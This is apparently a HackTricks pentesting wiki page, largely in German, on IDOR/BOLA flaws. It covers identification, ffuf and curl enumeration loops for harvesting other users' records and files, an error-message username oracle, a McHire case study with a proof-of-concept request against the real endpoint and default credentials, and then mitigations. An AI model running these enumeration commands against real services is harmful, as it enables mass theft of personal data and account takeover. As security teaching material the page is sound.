IDOR (Insecure Direct Object Reference)

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) tritt auf, wenn ein Web- oder API-Endpunkt eine vom Benutzer steuerbare Kennung offenlegt oder akzeptiert, die direkt verwendet wird, um auf ein internes Objekt zuzugreifen, ohne zu überprüfen, ob der Aufrufer berechtigt ist, auf dieses Objekt zuzugreifen oder es zu ändern. Eine erfolgreiche Ausnutzung ermöglicht normalerweise horizontale oder vertikale Privilegieneskalation, z. B. das Lesen oder Ändern von Daten anderer Benutzer und im schlimmsten Fall vollständige Account-Übernahme oder Massen-Datenexfiltration.


1. Identifizierung potenzieller IDORs

  1. Achte auf Parameter, die auf ein Objekt verweisen:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Bevorzuge Endpunkte, die Daten lesen oder aktualisieren (GET, PUT, PATCH, DELETE).
  2. Beachte, wenn Identifikatoren sequentiell oder vorhersehbar sind – wenn deine ID 64185742 ist, existiert wahrscheinlich 64185741.
  3. Untersuche versteckte oder alternative Flows (z. B. “Paradox team members” Link auf Login-Seiten), die zusätzliche APIs offenlegen könnten.
  4. Verwende eine authentifizierte Sitzung mit niedrigen Rechten und ändere nur die ID bei gleichbleibendem Token/Cookie. Das Ausbleiben einer Autorisierungsfehlermeldung ist gewöhnlich ein Indiz für IDOR.

Schnelles manuelles Manipulieren (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Automatisierte enumeration (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Auflisten vorhersehbarer Download-IDs (ffuf)

Authentifizierte Datei-Hosting-Panels speichern oft pro Benutzer Metadaten in einer einzigen files-Tabelle und bieten einen Download-Endpunkt wie /download.php?id=<int> an. Wenn der Handler nur überprüft, ob die ID existiert (und nicht, ob sie zum authentifizierten Benutzer gehört), können Sie den Integer-Bereich mit Ihrem gültigen session cookie durchsuchen und die Backups/Configs anderer Mandanten stehlen:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr entfernt 404-style templates, sodass nur echte Treffer übrig bleiben (e.g., IDs 54/150 leaking full site backups and signing material).
  • The same FFUF workflow works with Burp Intruder or a curl loop—just ensure you stay authenticated while incrementing IDs.

Error-response oracle for user/file enumeration

When a download endpoint accepts both a username and a filename (e.g. /view.php?username=<u>&file=<f>), subtle differences in error messages often create an oracle:

  • Non-existent username → “User not found”
  • Bad filename but valid extension → “File does not exist” (sometimes also lists available files)
  • Bad extension → validation error

With any authenticated session, you can fuzz the username parameter while holding a benign filename and filter on the “user not found” string to discover valid users:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Sobald gültige Benutzernamen identifiziert wurden, direkt bestimmte Dateien anfragen (z. B. /view.php?username=amanda&file=privacy.odt). Dieses Muster führt häufig zur unautorisierten Offenlegung von Dokumenten anderer Nutzer und zu credential leakage.


2. Praxisfall – McHire Chatbot-Plattform (2025)

Während einer Bewertung des von Paradox.ai betriebenen Rekrutierungsportals McHire wurde die folgende IDOR entdeckt:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: Session-Cookie eines beliebigen Restaurant-Testkontos
  • Body parameter: {"lead_id": N} – 8-stellig, sequentieller numerischer Identifikator

Durch Verringern der lead_id konnte der Tester beliebige Bewerber*innen vollständige PII (Name, E‑Mail, Telefon, Adresse, Schichtpräferenzen) sowie ein Consumer JWT abrufen, das Session-Hijacking ermöglichte. Die Enumeration des Bereichs 1 – 64,185,742 förderte ungefähr 64 Millionen Datensätze zutage.

Proof-of-Concept-Anfrage:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

In Kombination mit den default admin credentials (123456:123456), die Zugriff auf das Testkonto ermöglichten, führte die Schwachstelle zu einer kritischen, unternehmensweiten Datenpanne.


3. Impact of IDOR / BOLA

  • Horizontale Eskalation – lesen/aktualisieren/löschen von Daten anderer Benutzer.
  • Vertikale Eskalation – ein Nutzer mit geringen Rechten erhält admin-exklusive Funktionalität.
  • Massenhafte Datenpanne, falls Identifikatoren sequentiell sind (z. B. Bewerber-IDs, Rechnungen).
  • Account-Übernahme durch Stehlen von tokens oder Zurücksetzen von Passwörtern anderer Benutzer.

4. Mitigations & Best Practices

  1. Objektbasierte Autorisierung erzwingen bei jeder Anfrage (user_id == session.user).
  2. Bevorzugen Sie indirekte, nicht erratbare Identifikatoren (UUIDv4, ULID) statt Auto-Increment-IDs.
  3. Autorisierung serverseitig durchführen, niemals auf versteckte Formularfelder oder UI-Steuerelemente verlassen.
  4. Implementieren Sie RBAC / ABAC-Prüfungen in einer zentralen Middleware.
  5. Fügen Sie Rate-Limiting & Logging hinzu, um die Enumeration von IDs zu erkennen.
  6. Sicherheitstest jedes neuen Endpunkts (Unit-, Integrations- und DAST-Tests).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks